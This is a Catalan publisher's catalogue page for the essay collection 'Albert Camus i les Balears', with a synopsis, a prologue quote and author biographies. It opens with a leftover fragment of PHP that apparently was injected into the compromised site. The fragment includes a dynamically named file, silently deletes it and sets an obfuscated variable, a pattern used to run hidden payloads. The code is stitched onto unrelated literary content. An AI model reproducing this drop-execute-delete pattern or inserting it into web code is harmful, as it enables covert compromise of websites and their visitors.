");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Edicions Documenta Balear - Albert Camus i les Balears
Cercador d'Obres
ORDENAR:
Començar recerca

Albert Camus i les Balears

Flors dins la mar

Salord Ripoll, Josefina; Vicens Pujol, Carlota; Tur Planells, Helena; Rufat, Hélène; Rotger, Francesc M.; Nadal Suau, Josep Maria; Cabrera, Carles; Borràs Reynés, Joan

Prologuista:
Carme Riera
Col·lecció:
Menjavents
Tema:
Assaig
Pàgines:
174
PVP:
16.00
ISBN:
978-84-16163-04-5
Data d'Edició:
30/05/2014
El llegat insular d'Albert Camus analitzat per destacats especialistes


Sinopsi
El vint per cent dels menorquins varen emigrar a la colònia francesa d’Algèria per fugir de la fam. Un dels descendents d’aquells menorquins va ser l’escriptor Albert Camus, fill d’una mare analfabeta (Catherine Sintes), que va ser un dels seus grans afectes juntament amb la Mediterrània, el teatre, el periodisme i la llibertat. Va dir que volia morir i viure a Valldemossa, va escriure sobre el claustre de Sant Francesc de Palma i sobre les terrasses del Port d’Eivissa i va traduir al francès el «Cant espiritual» de Joan Maragall. La seva influència es deixa notar en Blai Bonet i Baltasar Porcel, i el seu pensament s’agermana amb el de Cristóbal Serra. Els autors d’aquest volum investiguen els vincles illencs del Nobel de Literatura algerià a qui l’any 2013, en el centenari del seu naixement, la ciutat de Palma va dedicar un parc a la façana marítima.
---
«En els textos de Camus es debaten els grans temes que afecten la condició humana, el nostre ésser i existir, la nostra immanència i transcendència, la relació amb els altres. Jutjar si la vida val la pena de ser viscuda o no és la principal pregunta de la filosofia, escriurà en El mite de Sísif i a Calígula ens recordarà que l’home -jo preferesc substituir home per persona humana- no és feliç i que tots, no només el boig emperador romà, desitgem inútilment posseir la lluna.»

(Del pròleg de Carme Riera.)



Consultau el Sumari
Llegiu el pròleg de Carme Riera



Josefina Salord Ripoll
(Ciutadella 1955), filòloga i catedràtica d’institut, ha investigat i divulgat la història cultural menorquina participant en la coordinació i redacció d’obres com Joan Ramis, un il·lustrat de la Menorca disputada (1996) o Joan Ramis i Josep Maria Quadrado: de la Il·lustració al Romanticisme (1999). Col·laboradora del Diccionari d’Historiografia Catalana (2003), el Diccionari del Teatre a les Illes Balears (2003 i 2006) i el Diccionari de la Literatura Catalana (2008), ha publicat nombrosos articles i ha desplegat una intensa activitat acadèmica i institucional.
Carlota Vicens Pujol
És professora (TU) de Llengua i Literatura Franceses a la Universitat de les Illes Balears, on dirigeix el Grup d’Investigació «Relat de viatges i mite insular. El viatge a les Balears». Ha publicat nombrosos articles i capítols de llibres relacionats amb la literatura de viatges i la literatura comparada, entre els quals destaca la coordinació del volum De l’île réelle à l’île fantasmée: voyages, littérature(s) et insularité (París, 2012). És també autora de llibres del poesia, el darrer dels quals es titula Que el ciervo vulnerado (Madrid, 2009).
Helena Tur Planells
(Eivissa, 1969) va estudiar Filologia Hispànica a la ULPGC. Durant l’època d’estudiant va formar part del grup Calibán i dels consells de redacció de les revistes Al margen i Calibán. Doctora en Teoria de la Literatura, ha publicat a diferents revistes universitàries, tant de Filosofia com de Filologia i ha estat col·laboradora del suplement literari de Diario de Ibiza, La Miranda. Ha participat en diferents capítols de llibres de la Universitat de Deusto (Diccionario de la existencia i Los lenguajes de la cultura) i, com única autora, ha publicat el llibre de relats Testimonios, 1998, l’assaig La imagen del mar, 2006, i Despacio de arena, 2010, de poesia en prosa. Actualment treballa de professora d’ensenyament secundari a Mallorca i dedica el temps lliure a la investigació i l’escriptura.
Hélène Rufat
És professora de Literatura (especialment de Literatura Francesa), així com de Llengua Francesa per a les humanitats a la Facultat d’Humanitats de la Universitat Pompeu Fabra de Barcelona, des de 1992. La seva tesi, defensada a la Universitat de Barcelona, l’any 2000, estudia els aspectes i el dinamisme de l’imaginari mediterrani en l’obra d’Albert Camus. Ha publicat nombrosos articles sobre aquest autor, i últimament ha participat al Dictionnaire Albert Camus. També va organitzar un col·loqui, a la UPF, per celebrar els cinquanta anys de la concessió del Premi Nobel a aquest escriptor. És membre de la junta directiva de la Société des Études Camusiennes, i pertany al comitè de redacció de la revista Présences d’Albert Camus. Últimament també investiga les qüestions relacionades amb l’imaginari de les migracions i els valors humans en la literatura francesa.
Francesc M. Rotger
(Bilbao, 1961) és llicenciat en Geografia i Història, crític teatral i periodista. Ha estat actor, autor i tècnic de teatre i ha dirigit seccions, suplements i programes de cultura i de llibres en premsa escrita, ràdio i televisió, en espanyol i en català. Ha col·laborat en diversos mitjans de comunicació com Diario 16, La Vanguardia, El Día de Baleares, Hierro, IB3, la SER, Gala, Temps moderns, Fan Teatre, Hamlet, Llegir, L’Hiperbòlic, Descubrir el Arte i La Aventura de la Historia. Actualment coordina el suplement de cultura Bellver de Diario de Mallorca i escriu a Primer Acto. Ha publicat llibres sobre teatre, música, art i història. Ha coordinat, juntament amb Carlota Vicens Pujol, el curs Albert Camus. Una aproximació plurisciplinària en el centenari del seu naixement (Universitat de les Illes Balears) i ha coordinat i presentat el cicle de projeccions Albert Camus a la Pantalla (UIB). És professor tutor del Centre Associat de la Universitat Nacional d’Educació a Distància a Palma.
Josep Maria Nadal Suau
(Palma, 1980) és llicenciat en Filologia Hispànica per la Universitat de Barcelona. Guionista ocasional (El mar de Barceló), ha presentat la tertúlia de cine i cultura Taula de cinema i l’espai de llibres Això no és Islàndia, ambdós en el canal autonòmic IB3. Com a crític literari, col·laborà durant set anys en el suplement Bellver de Diario de Mallorca. Ha col·laborat en nombroses publicacions (La bolsa de pipas, Quimera, fronterad.com, etc.) i va dirigir la revista Lluc. Ha publicat un llibre, Parapetos (2010). Actualment és professor associat de la Universitat de les Illes Balears, col·labora en l’edició balear d’El Mundo i exerceix com a crític en el suplement El Cultural.



Carles Cabrera
(Palma, 1979) és llicenciat en Filologia Hispànica per la Universitat de les Illes Balears, en Filologia Catalana per la Universitat de Barcelona i doctor en aquesta darrera especialitat per la UIB amb la tesi Els dos primers períodes novel·lístics de Baltasar Porcel (1961-1975). Professor d’ensenyament secundari, va ser delegat de Literatura del Govern Balear del 2010 al 2012. A més d’això va esdevenir primer sotsdirector i després director de la revista Lluc i de 2006 ençà exerceix la crítica literària al suplement Bellver de Diario de Mallorca i en altres publicacions. Molt interessat des de ben jove en el fet teatral en els seus diferents vessants, és autor del llibre Alexandre Ballester, de professió, dramaturg.
Joan Borràs Reynés
(Alaró, 1975) és llicenciat en Història per la Universitat de les Illes Balears al 1998. Màster en Estudis Baleàrics: Ciències Humanes i Socials per la Universitat de les Illes Balears al 2001. Professor d’Educació Secundària, especialitat Geografia i Història, a l’IES Marratxí. Els seus temes d’investigació històrica són: la Dictadura de Primo de Rivera a les Illes Balears; l’emigració balear cap a Algèria i el sud de França; i la Diputació Provincial de les Illes Balears.
Recomanar
Comentar
Comentaris (0)